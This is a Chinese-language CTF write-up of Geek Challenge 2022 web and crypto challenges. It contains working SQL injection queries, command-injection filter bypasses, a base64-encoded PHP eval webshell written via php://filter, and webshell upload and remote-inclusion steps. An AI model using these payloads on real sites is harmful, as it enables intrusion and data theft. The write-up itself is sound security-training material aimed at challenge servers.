Geek Challenge2022部分web题解

Geek Challenge2022部分web题解

文章目录

      • Web
        • 登录试试
        • 来发个包
        • Can Can Need
        • L0veSyc
        • justphp
        • babyupload
        • WelcomeSQL
        • ezR_F_I
        • ezrce
        • Not_Stay
      • Crypto
        • w_or_m?
        • RSA

Web

登录试试

  1. 题目直接给出了hint

    hint: Syclover用户忘了他的密码,咋办哦,依稀记得密码为6位数字,以774开头,这次我们来爆爆他的密码,让他再也不犯相同的错了
    
  2. 那很简单,burpsuite抓包,放进intruder模块爆破密码即可,给出详细步骤

  3. 随便输个密码,然后拦截
    在这里插入图片描述

  4. 可以看到输入的密码被编码了,看结构是哈希,盲猜一手md5,验证一下果然如此,那么开始爆破,给数字编码一下发包
    在这里插入图片描述

  5. 找到length独特的那个即正确密码
    在这里插入图片描述

  6. 最终得到flag
    在这里插入图片描述

来发个包

  1. 进去看源码发现关键
    在这里插入图片描述

  2. 向flag.php里POST传参ifffflag=flag即可
    在这里插入图片描述

Can Can Need

  1. 提示从本地访问,添加消息头X-Forwarded-For: 127.0.0.1,发现被过滤,尝试Client-ip: 127.0.0.1成功
  2. 提示"请从sycsec.com访问",添加referer头即可
  3. 提示"请使用Syclover Browser",添加User Agent即可
  4. 提示"你的邮箱不是VanZY@Syclover.com",添加from头即可
  5. 最终得到flag

L0veSyc

  1. 签到题,进入后f12查看源码,ctrl+f搜索syc{即可

justphp

  1. 代码审计
    在这里插入图片描述

  2. is_numeric()和sleep()函数绕过,sleep函数要延缓其下面程序执行的时间。但是我们又不能等太久,可以构造php中的科学计数法绕过,构造一个0.3e07的参数,当它强制转化为零的时候就会变成零

  3. GET传参即可获得flag

babyupload

  1. 这是很常规的文件上传漏洞

  2. 用burp suite拦截后修改后发包即可
    在这里插入图片描述

  3. 蚁剑链接后根目录下找到flag
    在这里插入图片描述

WelcomeSQL

  1. 查看源码可以知道需要GET传入id这个参数,猜测这是一个注入点

  2. 传入id=1正常回显id和username,猜测闭合方式,发现是数字型注入漏洞,发生错误时为一种页面

  3. order by猜出列数

    ?id=1 order by 3# //回显不正常
    ?id=1 order by 2#
    
  4. 然后使用联合注入,先找出回显点

    ?id=-1 union select 2,3#
    
  5. 然后爆库名爆表名爆字段名爆字段内容

    ?id=-1 union select 2,group_concat(table_name) from information_schema.tables where table_schema=database()# //爆表名
    ?id=-1 union select 2,group_concat(column_name) from information_schema.columns where table_name='user_info'# //爆字段名
    ?id=-1 union select 2,group_concat(secret) from user_info# //爆字段内容,里面含有flag
    

ezR_F_I

  1. 需要在自己的公网服务器上传入webshell,用远程文件包含将木马包含进去,蚁剑连接拿到服务器
  2. 这里http协议需要大写绕过;他添加了安全后缀html但是用处不大

ezrce

  1. 进去之后看到经典的佛曰系列加密,先看看佛在说什么
    在这里插入图片描述

  2. 佛说:
    在这里插入图片描述

  3. 代码审计看看怎么rce,可以发现很多东西被过滤了,既然文件在当前目录,那我们直接读取内容,可以发现tac没被过滤,但是经过尝试没能读取出flag,可能是权限问题吧,换一个

    ?ip=127.0.0.1;tail${IFS}./*
    

    成功读取到flag

  4. 还有一种解法,因为Linux中万物皆为文件,因此可以这样利用

    ?id=127.0.0.1;/bin/ca?${IFS}./*
    

    /bin目录下的cat文件,通配符只能代替文件,不能代替命令,每一个文件都有一个命令作为载体,用文件和用命令的原理一致,由此可以bypass cat从而获取到flag

Not_Stay

  1. 进去之后看到一大堆代码,开始审计,可以发现就是绕过死亡exit()以及file_put_contents()的利用,这里还有一个exif_imagetype()的绕过,添加GIF89a文件头绕过即可
    在这里插入图片描述

  2. 这里好像可以不管cookie,有点骗人的感觉,不知道是不是写错了

    filename=php://filter/write=convert.base64-decode/resource=upload/16.php&data=GIF89aaaaPD9waHAgZXZhbCgkX1BPU1RbJ3Jvb3QnXSk7
    

    至于前面加了三个字符a,是因为base64解码时4个字符转3个字符,而<?php exit();只有phpexit参与了base64的解码,加上文件头的六个字符所以需要补三位

  3. 蚁剑连接这个🐎即可在根目录下得到flag

Crypto

w_or_m?

  1. 提示是古典加密,我们对结构进行分析,根据关键字母syc进行分析,可以猜想这是栅栏密码
  2. 但是和普通的栅栏密码有点不一样,经过搜索还有一种W型的栅栏密码,但是对于这个还是不适用
  3. 那么继续分析,可以从标题获取信息,既然不是W型,那会不会是变种M型呢
  4. 打开浏览器搜了一圈好像没有相关信息,那我直接仿照W型栅栏密码的加密原理进行M型的破解
  5. 经过多次手搓(至于多次的原因主要是手写的0和o、1和l太像了,写的时候没注意后面改了很多遍才改正确,经验+100),成功破译出flag
    在这里插入图片描述

RSA

  1. 只做了几个简单的RSA就不发出来了哈
                       

点击阅读全文

上一篇 2023年 6月 13日 am10:26
下一篇 2023年 6月 13日 am11:06